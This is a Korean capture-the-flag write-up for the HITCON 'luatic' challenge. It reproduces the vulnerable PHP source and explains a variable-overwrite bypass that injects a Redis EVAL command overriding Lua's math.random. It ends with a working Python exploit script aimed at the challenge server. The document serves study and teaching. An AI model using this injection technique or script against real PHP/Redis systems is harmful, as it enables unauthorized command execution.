index.php
해당 문제의 index.php이며 team token 값을 받아 luatic, start, reset, status에 사용이 되었다.
team token 은 HITCON team page에서 확인할 수 있었다.
luatic.php
<?php
/* Author: Orange Tsai(@orange_8361) */
include "config.php";
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
if (strlen($token) == 0) highlight_file(__FILE__) and exit();
if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');
$guess = (int)$guess;
if ($guess == 0) die('Shame on you');
// Check team token
$status = check_team_redis_status($token);
if ($status == "Invalid token") die('Invalid token');
if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');
// Get team redis port
$port = get_team_redis_port($token);
if ((int)$port < 1024) die('Try again');
// Connect, we rename insecure commands
// rename-command CONFIG ""
// rename-command SCRIPT ""
// rename-command MODULE ""
// rename-command SLAVEOF ""
// rename-command REPLICAOF ""
// rename-command SET $MY_SET_COMMAND
$redis = new Redis();
$redis->connect("127.0.0.1", $port);
if (!$redis->auth($token)) die('Auth fail');
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
// Lottery!
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));
sleep(3); // Slow down...
if ((int)$result === $guess)
die("Congratulations, the flag is $FLAG");
die(":(");
?>
luatic을 클릭하여 luatic.php 소스코드를 확인할 수 있었다.
소스코드 분석
6 ~ 13 line foreach를 통해 $_GET과 $_POST에서 token, guess 등의 변수를 생성한다.
[*] 임의의 변수 생성이 가능.
15 ~ 28 line token, guess 값을 검증하고 token 값을 통해 port와 Redis의 실행상태를 확인한다.
37 ~ 39 line Redis에 연결
42 ~ 43 line Redis 가 정상적으로 작동하는지 확인하기 위해 redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE)을 실행하고 redis->get($TEST_KEY) 결괏값과 $TEST_VALUE 값을 비교해 정상작동을 확인한다.
[*] MY_SET_COMMAND, TEST_KEY, TEST_VALUE는 config.php 에 설정이 되어 있는 거 같다.
[*] 위의 변수들을 덮는다면 원하는 Redis Command를 사용할 수 있다.
46 ~ 49 line Redis EVAL Command를 통해 Lua script를 실행시키고 result에 저장한다.
[*] 원하는 Redis Command를 사용하게 된다면 Lua script의 return 값을 변조할 수 있다.
52 ~ 54 line result 값과 guess 값을 비교 후 같다면 flag를 출력해준다.
6 ~ 13
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
첫 번째 foreach 문을 통해서 $_REQUEST 배열의 key 값 중에 FLAG, MY_, TEST_, GLOBALS 시작하는 값을 필터링한다.
두 번째 foreach 문으로 $_GET, $_POST 배열의 key와 value로 변수를 생성한다. 단 value에 "[]{}=.'\"" 등의 문자는 NULL로 치환이 된다.
첫 번째 foreach 문에서 FLAG, MY_, TEST_ 등을 필터링 함으로 MY_SET_COMMAND와 같은 값을 $_GET과 $_POST의 key로 사용할 수 없다. 그러나 두 번째 foreach 문을 통해 MY_SET_COMMAND 변수 생성이 가능하다.
?_POST ['MY_SET_COMMAND']=123처럼 GET 값을 주게 되면 $_GET에 key, value로 변수를 생성.
그 후 $_POST에 key, value로 $MY_SET_COMMAND=123 변수를 생성하게 된다.
url?_POST ['MY_SET_COMMAND'] => $_POST ['MY_SET_COMMAND'] => $MY_SET_COMMAND
46 ~ 49
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));
result 값을 변조하기 위해선 redis->eval의 결괏값을 변조해야 하는데 LUA_LOTERY, seed, count 변수를 조작할 수 없음으로 Lua script의 math.random 함수를 덮어 원하는 결괏값이 나오도록 한다.
42 ~ 43
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
EVAL 'math.random = math.exp' 0
EVAL 'return math.random(x)' // if x >= 44 then return -9223372036854775808
위처럼 math.random = math.exp로 하려 했지만 []{}.= 등의 필터로 불가능.
EVAL 'function math:random() return 1 end'
EVAL 'return math.random(0)' // return 1
그러므로 function을 만들어 덮어준다.
$MY_SET_COMMAND = EVAL
$TEST_KEY = function math:random() return 1 end
$TEST_VALUE = 1
Payload
from requests import *
token = "" # your Team-token
command = "EVAL"
key = "function math:random() return 1 end return math.random()"
value = "0"
url = "http://54.250.242.183/luatic.php?"
def set():
query = "token={}&cmd=status&guess=1&_POST[TEST_KEY]={}&_POST[TEST_VALUE]={}".format(token,key,value)
res = get(url+query)
print(res.text)
def execute():
query = "token={}&cmd=status&guess=1&_POST[MY_SET_COMMAND]={}&_POST[TEST_KEY]={}&_POST[TEST_VALUE]={}".format(token,command,key,value)
res = get(url+query)
print(res.text)
set()
execute()